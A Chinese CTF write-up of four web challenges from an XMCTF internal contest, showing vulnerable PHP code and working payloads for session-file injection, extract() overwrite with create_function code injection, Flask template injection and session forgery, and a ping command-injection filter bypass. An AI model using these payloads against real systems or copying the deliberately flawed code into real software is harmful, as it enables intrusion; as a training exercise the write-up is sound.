XMCTF内部赛 part1

web3-考核

<?php
highlight_file(__FILE__);
$content = @$_GET['content'] ? "---mylocalnote---\n" . $_GET['content'] : "";
$name = @$_GET['name'] ? $_GET['name'] : '';
str_replace('/', '', $name);
str_replace('\\', '', $name);
file_put_contents("/tmp/" . $name, $content);
session_start();
if (isset($_SESSION['username'])) {
    echo "Thank u,{$_SESSION['username']}";
}

知识点:
php session的存储
php储存session的三种方式

php_serialize经过serialize()函数序列化数组
php键名+竖线+经过serialize()函数处理的值
php_binary键名的长度对应的ascii字符+键名+serialize()函数序列化的值

session的存储位置:
一般是存储在/tmp下
自己的位置可在的phpinfo中看到
session.save_path
默认的文件名
sess_PHPSESSID

题目中需要满足 $_SESSION['username']='admin',并且我们可以向/tmp中写入文件,
所以只需要写入 username|s:6:'admin';
因为写入的内容包括题中给的"—mylocalnote—\n" 会被当做键名,所以我们需要闭合,
最终的payload content=|N;username|s:5:"admin";&name=sess_PHPSESSID
其中PHPSESSID换成自己的
接着访问flag.php得到flag

easy-web-考核

<?php
show_source(__FILE__);
$key = "bad";
extract($_POST);
if($key === 'bad'){
    die('badbad!!!');
}
$act = @$_GET['act'];
$arg = @$_GET['arg'];
if(preg_match('/^[a-z0-9_]*$/isD',$act)) {
    echo 'check';
} else {
    $act($arg,'');
}

echo '666';

绕过 die可以利用extract变量覆盖绕过
post:key=1
对于^开头,$结尾的正则,如果用.进行任意字符匹配可以用%0a换行符绕过
这个题我们用fuzz

import requests
data={'key':1}
for i in range(1,256):
        tmp= hex(i)[2:]
        if len(tmp)<2:
                tmp= '0'+hex(i)[2:]
        tmp= '%'+tmp
        url= 'http://xmctf.top:8940/?act='+tmp+'var_dump&arg=23333'
        r =requests.post(url=url,data=data)
        if'23333' in r.text:
                print(r.content)
                print(url)

得到%5c可以绕过正则表达式
对于$act($arg,'');我们很容易想到create_function函数
语法

create_function(string $args,string $code)

string $args 声明的函数变量部分

string $code 执行的方法代码部分

相当于
func($args){$code;}
因为我们可以操作第一个参数所以只需要闭合函数后就可以输入而已代码了
payload:act=%5ccreate_function&arg=){}要执行的代码;//

web8-考核

根据提示说我们的name为None,那么我们尝试输入name=123
发现有回显,猜测可能为模板注入
尝试输入name={{config}}得到信息 'SECRET_KEY': 'woshicaiji'
因为提示说只有admin可以得到flag,猜测考察的flask session伪造,根据SECRET_KEY解密得到{'username': 'guest'},所以我们修改如下{‘username’: ‘admin’}然后加密
得到eyJ1c2VybmFtZSI6ImFkbWluIn0.X6TebA.TDN1tkKIPQU-sJTdDcExZbDERiE修改session的值然后访问/flag即可得到flag

RCE训练

<?php
error_reporting(0);
highlight_file(__file__);
$ip = $_GET['ip'];
if (isset($ip)) {
  if(preg_match("/(;|`| |&|cp|mv|cat|tail|more|rev|tac|\*|\{)/i", $ip)){
      die("hack");
  }else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
      die("no!>");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  var_dump($a);
}
?>

过滤了;和|可以用%0a绕过,过滤了空格可以用%09绕过,过滤了flag可以用?绕过
过滤了tail、more、cat、可以用sort绕过
最终payload ip=%0asort%09/fla?

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值